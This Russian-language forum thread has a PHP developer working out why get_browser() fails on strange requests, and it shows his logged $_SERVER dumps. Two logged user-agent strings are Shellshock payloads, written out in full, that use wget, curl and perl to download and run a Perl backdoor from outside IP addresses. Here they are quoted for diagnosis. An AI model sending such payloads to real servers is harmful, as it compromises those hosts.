Этот баннер — требование Роскомнадзора для исполнения 152 ФЗ.
«На сайте осуществляется обработка файлов cookie, необходимых для работы сайта, а также для анализа использования сайта и улучшения предоставляемых сервисов с использованием метрической программы Яндекс.Метрика. Продолжая использовать сайт, вы даёте согласие с использованием данных технологий».
Политика конфиденциальности
|
|
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Имеется некоторый сайт. На этом сайте я получаю информацию о браузере клиента так: Код: php 1. Обнаружил, что при некоторых запросах от неизвестно кого, эта функция возвращает НЕ массив. Поставил заглушку с проверкой значения $browserInfo и с выводом информации в лог. В результате в логах неоднократно стали появляться такие 2 записи: автор[STUB] browserInfo - не массив. Request: http://site.ru/ / user agent: [STUB] browserInfo - не массив. Request: http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 / user agent: Т.е. в тех запросах, когда функция get_browser(null, true) возвращает НЕ массив: а) $_SERVER['HTTP_USER_AGENT'] содержит в себе пустую строку либо null либо такого ключа в $_SERVER нет б) запрашивается главная страница сайта либо какая-то хрень вида http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 Вопросы: 1.Что это за запросы такие странные с пустым user agent 2.Что это за "адрес": http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 ? P.S. Ещё больше непоняток создаёт тот факт, что если вызывать функцию так Код: php 1. то функция по-прежнему возвращает массив (со значениями полей по умолчанию): Код: php 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 35. 36. 37. 38. 39. 40. 41. 42. 43. 44. 45. 46. 47. 48. 49. 3.Тогда какого хрена в вышеуказанных случаях функция может возвращать НЕ массив ? В штатном режиме функция get_browser работает нормально - проверял тысячу раз (файл browscap.ini имеется, путь к нему в php.ini прописан) ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 21.10.2014, 13:21 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02, Request: Ну наверно имееться ввиду поле Referer тыцкай и сюда ЗЫ наводящий вопрос для самопроверки! 1. могу ли я как мне вздумаеться выставлять значения этих заголовков. 2. чем будет отличаться страничка сайта мейл ру например если я обращусь к ней выставив рефер равное "мейл ру - идите в пень!" :) ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 21.10.2014, 13:43 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
[STUB] browserInfo - не массив. Request: http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 / user agent: если сайт всётаки ломанут, напиши как они это смогли сделать...говорят хацкеры из юговосточной азии ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 21.10.2014, 13:47 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
авторRequest: Ну наверно имееться ввиду поле RefererНет, это именно URL. Полный URL, который формируется из массива $_SERVER вот так: http://www.sql.ru/forum/actualutils.aspx?action=gotomsg&tid=1108974&msg=16400444 В данном случае функция get_browser возвращает false и генерирует предупреждение: PHP warning: get_browser() [<a href='function.get-browser'>function.get-browser</a>]: HTTP_USER_AGENT variable is not set, cannot determine user agent name А массив $_SERVER в этот момент имеет такие поля (красным обозначил некорректные значения): автор[PATH] => /usr/local/bin:/usr/bin:/bin [FCGI_ROLE] => RESPONDER [SERVER_SIGNATURE] => <address>Apache/2.2.16 (Debian) Server at mx0.mail2000.com.tw Port 25</address> [SERVER_SOFTWARE] => Apache/2.2.16 (Debian) [SERVER_NAME] => mx0.mail2000.com.tw [SERVER_ADDR] => x.x.x.x [SERVER_PORT] => 25 [REMOTE_ADDR] => 1.161.16.44 [DOCUMENT_ROOT] => /var/www/user/data/www/site.ru [SERVER_ADMIN] => admin@site.ru [SCRIPT_FILENAME] => /var/www/user/data/www/site.ru/index.php [REMOTE_PORT] => 3522 [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.0 [REQUEST_METHOD] => CONNECT [QUERY_STRING] => [REQUEST_URI] => mx0.mail2000.com.tw:25 [SCRIPT_NAME] => /index.php [HTTP_CONNECTION] => close [PHP_SELF] => /index.php [REQUEST_TIME] => 1414372351 [argv] => Array ( ) [argc] => 0 [HTTP_USER_AGENT] => [HTTP_REFERER] => В итоге и получаем строку: [SERVER_NAME]:[SERVER_PORT][REQUEST_URI] = http://mx3.mail2000.com.tw:25mx3.mail2000.com.tw:25 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 27.10.2014, 11:53 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02 [SERVER_PORT] => 25 Это клево. 25 - это порт для smtp. К вам не браузером заходят, это какой-то бот ищет уязвимые сервисы... ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 27.10.2014, 12:55 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Почему у него Код: php 1. ? Должен быть пустым... ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 28.10.2014, 10:43 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02Почему у него Код: php 1. ? Должен быть пустым...Ага, и REQUEST_METHOD = CONNECT. Ну кто-то зачем-то отправил вам строку CONNECT mx0.mail2000.com.tw:25 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 28.10.2014, 11:44 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] = Код: php 1. Логично предположить, что используется утилита curl, только почему-то get_browser этот HTTP_USER_AGENT не распознал. В то же время строка HTTP_USER_AGENT , похоже, сформирована некорректно. Впрочем, не знаю, как формируют HTTP_USER_AGENT "браузеры" с Browser_type=Library и Browser_type=Application , но в данном случае HTTP_USER_AGENT явно косячный. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 02.11.2014, 22:06 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] = Код: php 1. Логично предположить, что используется утилита curl,Похоже, попытка использовать какую-то уязвимость CGI-программ. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 02.11.2014, 23:05 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
vkleCyrax_02Вот ещё один чудный $_SERVER[HTTP_USER_AGENT] = Код: php 1. Логично предположить, что используется утилита curl,Похоже, попытка использовать какую-то уязвимость CGI-программ.Так как мне "выявлять" этих "хакеров" ? По наличию в HTTP_USER_AGENT url ? В HTTP_USER_AGENT ни в каких случаях (даже для Browser_type=Library и Browser_type=Application ) url присутствовать не должен ? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 03.11.2014, 12:03 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02, В строке юзер-агента может присутствовать абсолютно всё, что угодно или может не быть ничего. Боты передают каждый свое, браузеры тоже свое, но пользователь потенциально может и поменять строку. Можете попробовать считать, что если строка не соответствует ни одному браузеру - то клиент "левый". Однако, ничто не мешает "левому" клиенту прислать вполне адекватную строку. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 03.11.2014, 19:30 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
авторВ строке юзер-агента может присутствовать абсолютно всё, что угодно или может не быть ничего. Боты передают каждый свое, браузеры тоже свое, но пользователь потенциально может и поменять строку ... ... ... Однако, ничто не мешает "левому" клиенту прислать вполне адекватную строку. Ориентируемся на корректное значение HTTP_USER_AGENT . Т.е. считаем, что никто ничего не подделывает и при формировании HTTP_USER_AGENT придерживается существующих стандартов / соглашений / рекомендаций. авторМожете попробовать считать, что если строка не соответствует ни одному браузеру - то клиент "левый"Неа. Так не пройдёт. В файле full_php_browscap.ini некоторые реальные браузеры могут отсутствовать. Даже в самой последней версии этого файла. Например, Lumia 525 появился в продаже ещё в начале 2014 года, а в файле full_php_browscap.ini по состоянию на июль 2014 г. браузер для этого телефона ещё отсутствовал: Код: php 1. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 05:11 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Проверил файл full_php_browscap.ini - HTTP_USER_AGENT всё-таки может содержать url. Например: Код: php 1. 2. 3. 4. 5. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 05:12 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Вот ещё один "пользователь" с hack-сигнатурами (на этот раз wget ): автор[PATH] => /usr/local/bin:/usr/bin:/bin [FCGI_ROLE] => RESPONDER [REDIRECT_STATUS] => 200 [HTTP_HOST] => www.site.ru [HTTP_USER_AGENT] => () { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji" [SERVER_SIGNATURE] => <address>Apache/2.0.06 (Debian) Server at www.site.ru Port 80</address> [SERVER_SOFTWARE] => Apache/2.0.06 (Debian) [SERVER_NAME] => www.site.ru [SERVER_PORT] => 80 [REMOTE_ADDR] => 80.241.209.165 [DOCUMENT_ROOT] => /var/www/user/data/www/site.ru [SERVER_ADMIN] => admin@site.ru [SCRIPT_FILENAME] => /var/www/user/data/www/site.ru/index.php [REMOTE_PORT] => 44107 [REDIRECT_QUERY_STRING] => q=cgi-bin/bit.cgi [REDIRECT_URL] => /cgi-bin/bit.cgi [GATEWAY_INTERFACE] => CGI/1.1 [SERVER_PROTOCOL] => HTTP/1.0 [REQUEST_METHOD] => GET [QUERY_STRING] => q=cgi-bin/bit.cgi [REQUEST_URI] => /cgi-bin/bit.cgi [SCRIPT_NAME] => /index.php [HTTP_CONNECTION] => close [PHP_SELF] => /index.php [REQUEST_TIME] => 1415059894 [argv] => Array ( [0] => q=cgi-bin/bit.cgi ) [argc] => 1 [HTTP_REFERER] => Общее между этими двумя HTTP_USER_AGENT : () { :; }; curl http://202.28.77.53/~prajaks/310482/index.png | perl () { :;}; /bin/bash -c "cd /var/tmp ; rm -rf j* ; wget http://184.171.247.165/ji ; lwp-download http://184.171.247.165/ji ; curl -O /var/tmp/jiw http://184.171.247.165/ji ; perl /var/tmp/ji ; rm -rf *ji" это фрагмент () { :; в начале Во втором случае идёт загрузка трояна Backdoor.Perl.Shellbot.s : http://telussecuritylabs.com/threats/show/TSL20140926-02 ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 05:24 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02, позвольте полюбопытствовать, какова цель этих исследований? ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 11:41 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02это фрагмент () { :; в начале https://ru.wikipedia.org/wiki/Bashdoor ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 16:02 |
|
||
|
(php) get_browser возвращает НЕ массив ($_SERVER['HTTP_USER_AGENT'] = пустая строка)
|
|||
|---|---|---|---|
|
#18+
Cyrax_02, зватит мучать народ и себя. чтоты вцепился в юзер агент при запросе http://site.com/index.php?a=100 разница между $_SERVER['HTTP_USER_AGENT'] и $_GET['a'] первое веб сервер может отфильтровывать легко и в пхп вообще ничего не увидим - ибо это параметр хттп сообщения второе труднее - ибо это часть параметра хттп сообщения в ОБОИХ случаях запрашивающий - может вписать туда всё что угодно. и да--как есть дыры в обработке значения числа а - чем пытаються воспользоваться хакеры так и в юзер агенте, можно самому его както обрабатывать, и на основании этого хакер сможет взломать дабы не палиться перед новичками, обычно ищут дыру так например - для взлома если есть уязвимость1 - нужно вписать строку1 но сразу не вписывают, вписывают строку2, по которой нельзя определить что это уже взлом, но которая сможет точно также помочь обнаружить - есть уязвимость1 или нету. ... |
|||
|
:
Нравится:
Не нравится:
|
|||
| 04.11.2014, 19:19 |
|
||
|
|

start [/forum/topic.php?fid=23&msg=38789002&tid=1462293]: |
0ms |
get settings: |
7ms |
get forum list: |
18ms |
check forum access: |
3ms |
check topic access: |
3ms |
track hit: |
50ms |
get topic data: |
11ms |
get forum data: |
2ms |
get page messages: |
71ms |
get tp. blocked users: |
1ms |
| others: | 214ms |
| total: | 380ms |

| 0 / 0 |
